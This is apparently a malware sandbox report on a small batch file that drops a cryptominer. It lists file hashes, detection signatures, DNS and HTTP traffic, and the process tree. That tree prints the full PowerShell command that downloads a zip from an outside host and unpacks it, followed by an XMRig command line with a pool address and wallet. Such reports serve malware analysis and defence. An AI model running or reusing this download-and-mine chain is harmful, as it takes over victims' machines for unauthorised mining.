Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
1798s -
max time network
1813s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
-
submitted
15/10/2023, 10:57 UTC
General
-
Target
tesy - Copy (8).bat
-
Size
702B
-
MD5
65f016a2abe40d2902c7032438a14bd7
-
SHA1
b3537668ca1bb826e5085aee38b3f7ec654d606e
-
SHA256
153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
-
SHA512
b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7
Malware Config
Extracted
https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip
Signatures
-
XMRig Miner payload 64 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Blocklisted process makes network request 1 IoCs
-
Executes dropped EXE 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 4 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K start.cmd2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exexmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
-
DNS2.136.104.51.in-addr.arpaRemote address:8.8.8.8:53Request2.136.104.51.in-addr.arpaIN PTRResponse -
DNS1.208.79.178.in-addr.arpaRemote address:8.8.8.8:53Request1.208.79.178.in-addr.arpaIN PTRResponse1.208.79.178.in-addr.arpaIN PTRhttps-178-79-208-1amsllnwnet
-
DNScdn.nest.ripRemote address:8.8.8.8:53Requestcdn.nest.ripIN AResponsecdn.nest.ripIN A188.114.96.0cdn.nest.ripIN A188.114.97.0
-
GEThttps://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zipRemote address:188.114.96.0:443RequestGET /uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip HTTP/1.1
Host: cdn.nest.rip
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Date: Sun, 15 Oct 2023 10:59:07 GMT
Content-Type: application/octet-stream
Content-Length: 3331403
Connection: keep-alive
Content-Disposition: filename="test.zip"
Content-Security-Policy: block-all-mixed-content
Etag: "3238c0d25d84b6f0bb645bbb29cdbf61"
Last-Modified: Fri, 13 Oct 2023 15:08:08 GMT
Strict-Transport-Security: max-age=15552000; includeSubDomains; preload
Vary: Origin
X-Amz-Request-Id: 178DB35257C04E50
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
X-Amz-Meta-Originaluploader: 1805da94-c7b9-448d-b4b1-b34cd5b75d2b
Drive: SSD
CF-Cache-Status: HIT
Age: 3003
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZVIabIXCh6WHyHVtYu1q9THGIei7QmGV3W7ZsLByWoq2%2FFZur3ds0eUUYTqpa2lLp8vfYNBfrvZCamXYYhIRAFEFsdLK8wKf2h5guu9hk4ThGRW1IElRC14ZD1tVnto%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 81678d019de40e8c-AMS
alt-svc: h3=":443"; ma=86400
-
DNS0.96.114.188.in-addr.arpaRemote address:8.8.8.8:53Request0.96.114.188.in-addr.arpaIN PTRResponse
-
DNS71.31.126.40.in-addr.arpaRemote address:8.8.8.8:53Request71.31.126.40.in-addr.arpaIN PTRResponse
-
DNS95.221.229.192.in-addr.arpaRemote address:8.8.8.8:53Request95.221.229.192.in-addr.arpaIN PTRResponse
-
DNSxmr.2miners.comRemote address:8.8.8.8:53Requestxmr.2miners.comIN AResponsexmr.2miners.comIN A162.19.139.184
-
DNS184.139.19.162.in-addr.arpaRemote address:8.8.8.8:53Request184.139.19.162.in-addr.arpaIN PTRResponse184.139.19.162.in-addr.arpaIN PTRp062minerscom
-
DNS208.194.73.20.in-addr.arpaRemote address:8.8.8.8:53Request208.194.73.20.in-addr.arpaIN PTRResponse
-
DNS86.23.85.13.in-addr.arpaRemote address:8.8.8.8:53Request86.23.85.13.in-addr.arpaIN PTRResponse
-
DNS15.164.165.52.in-addr.arpaRemote address:8.8.8.8:53Request15.164.165.52.in-addr.arpaIN PTRResponse
-
DNS1.202.248.87.in-addr.arpaRemote address:8.8.8.8:53Request1.202.248.87.in-addr.arpaIN PTRResponse1.202.248.87.in-addr.arpaIN PTRhttps-87-248-202-1amsllnwnet
-
DNS112.208.253.8.in-addr.arpaRemote address:8.8.8.8:53Request112.208.253.8.in-addr.arpaIN PTRResponse
-
DNS131.72.42.20.in-addr.arpaRemote address:8.8.8.8:53Request131.72.42.20.in-addr.arpaIN PTRResponse
-
DNS26.165.165.52.in-addr.arpaRemote address:8.8.8.8:53Request26.165.165.52.in-addr.arpaIN PTRResponse
-
DNS241.154.82.20.in-addr.arpaRemote address:8.8.8.8:53Request241.154.82.20.in-addr.arpaIN PTRResponse
-
DNS39.142.81.104.in-addr.arpaRemote address:8.8.8.8:53Request39.142.81.104.in-addr.arpaIN PTRResponse39.142.81.104.in-addr.arpaIN PTRa104-81-142-39deploystaticakamaitechnologiescom
-
DNS198.187.3.20.in-addr.arpaRemote address:8.8.8.8:53Request198.187.3.20.in-addr.arpaIN PTRResponse
-
DNS135.1.85.104.in-addr.arpaRemote address:8.8.8.8:53Request135.1.85.104.in-addr.arpaIN PTRResponse135.1.85.104.in-addr.arpaIN PTRa104-85-1-135deploystaticakamaitechnologiescom
-
DNS119.110.54.20.in-addr.arpaRemote address:8.8.8.8:53Request119.110.54.20.in-addr.arpaIN PTRResponse
-
DNS254.177.238.8.in-addr.arpaRemote address:8.8.8.8:53Request254.177.238.8.in-addr.arpaIN PTRResponse
-
DNS217.14.97.104.in-addr.arpaRemote address:8.8.8.8:53Request217.14.97.104.in-addr.arpaIN PTRResponse217.14.97.104.in-addr.arpaIN PTRa104-97-14-217deploystaticakamaitechnologiescom
-
DNS126.211.247.8.in-addr.arpaRemote address:8.8.8.8:53Request126.211.247.8.in-addr.arpaIN PTRResponse
-
DNS240.81.21.72.in-addr.arpaRemote address:8.8.8.8:53Request240.81.21.72.in-addr.arpaIN PTRResponse
-
DNS240.81.21.72.in-addr.arpaRemote address:8.8.8.8:53Request240.81.21.72.in-addr.arpaIN PTRResponse
-
188.114.96.0:443https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.ziptls, http
HTTP Request
GET https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zipHTTP Response
200 -
162.19.139.184:2222xmr.2miners.com
-
8.8.8.8:532.136.104.51.in-addr.arpadns
DNS Request
2.136.104.51.in-addr.arpa
-
8.8.8.8:531.208.79.178.in-addr.arpadns
DNS Request
1.208.79.178.in-addr.arpa
-
8.8.8.8:53cdn.nest.ripdns
DNS Request
cdn.nest.rip
DNS Response
188.114.96.0188.114.97.0
-
8.8.8.8:530.96.114.188.in-addr.arpadns
DNS Request
0.96.114.188.in-addr.arpa
-
8.8.8.8:5371.31.126.40.in-addr.arpadns
DNS Request
71.31.126.40.in-addr.arpa
-
8.8.8.8:5395.221.229.192.in-addr.arpadns
DNS Request
95.221.229.192.in-addr.arpa
-
8.8.8.8:53xmr.2miners.comdns
DNS Request
xmr.2miners.com
DNS Response
162.19.139.184
-
8.8.8.8:53184.139.19.162.in-addr.arpadns
DNS Request
184.139.19.162.in-addr.arpa
-
8.8.8.8:53208.194.73.20.in-addr.arpadns
DNS Request
208.194.73.20.in-addr.arpa
-
8.8.8.8:5386.23.85.13.in-addr.arpadns
DNS Request
86.23.85.13.in-addr.arpa
-
8.8.8.8:5315.164.165.52.in-addr.arpadns
DNS Request
15.164.165.52.in-addr.arpa
-
8.8.8.8:531.202.248.87.in-addr.arpadns
DNS Request
1.202.248.87.in-addr.arpa
-
8.8.8.8:53112.208.253.8.in-addr.arpadns
DNS Request
112.208.253.8.in-addr.arpa
-
8.8.8.8:53131.72.42.20.in-addr.arpadns
DNS Request
131.72.42.20.in-addr.arpa
-
8.8.8.8:5326.165.165.52.in-addr.arpadns
DNS Request
26.165.165.52.in-addr.arpa
-
8.8.8.8:53241.154.82.20.in-addr.arpadns
DNS Request
241.154.82.20.in-addr.arpa
-
8.8.8.8:5339.142.81.104.in-addr.arpadns
DNS Request
39.142.81.104.in-addr.arpa
-
8.8.8.8:53198.187.3.20.in-addr.arpadns
DNS Request
198.187.3.20.in-addr.arpa
-
8.8.8.8:53135.1.85.104.in-addr.arpadns
DNS Request
135.1.85.104.in-addr.arpa
-
8.8.8.8:53119.110.54.20.in-addr.arpadns
DNS Request
119.110.54.20.in-addr.arpa
-
8.8.8.8:53254.177.238.8.in-addr.arpadns
DNS Request
254.177.238.8.in-addr.arpa
-
8.8.8.8:53217.14.97.104.in-addr.arpadns
DNS Request
217.14.97.104.in-addr.arpa
-
8.8.8.8:53126.211.247.8.in-addr.arpadns
DNS Request
126.211.247.8.in-addr.arpa
-
8.8.8.8:53240.81.21.72.in-addr.arpadns
DNS Request
240.81.21.72.in-addr.arpa
DNS Request
240.81.21.72.in-addr.arpa
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD508f9f3eb63ff567d1ee2a25e9bbf18f0
SHA16bf06056d1bb14c183490caf950e29ac9d73643a
SHA25682147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0
SHA512425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
3.2MB
MD53238c0d25d84b6f0bb645bbb29cdbf61
SHA111ae550c8a82c0793862c366b92072ad7e18befe
SHA256b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb
SHA512d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556
-
Filesize
170B
MD578657df2e34e338ff135d3dde69177bf
SHA1d5048a4270b7ba599e941d26d61bfa2e8da31fce
SHA2569004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98
SHA512f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004
-
Filesize
7.9MB
MD54813fa6d610e180b097eae0ce636d2aa
SHA11e9cd17ea32af1337dd9a664431c809dd8a64d76
SHA2569ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc
SHA5125463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa
-
Filesize
136KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
256KB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
40KB
-
Filesize
72KB
-
Filesize
64KB
-
Filesize
10.8MB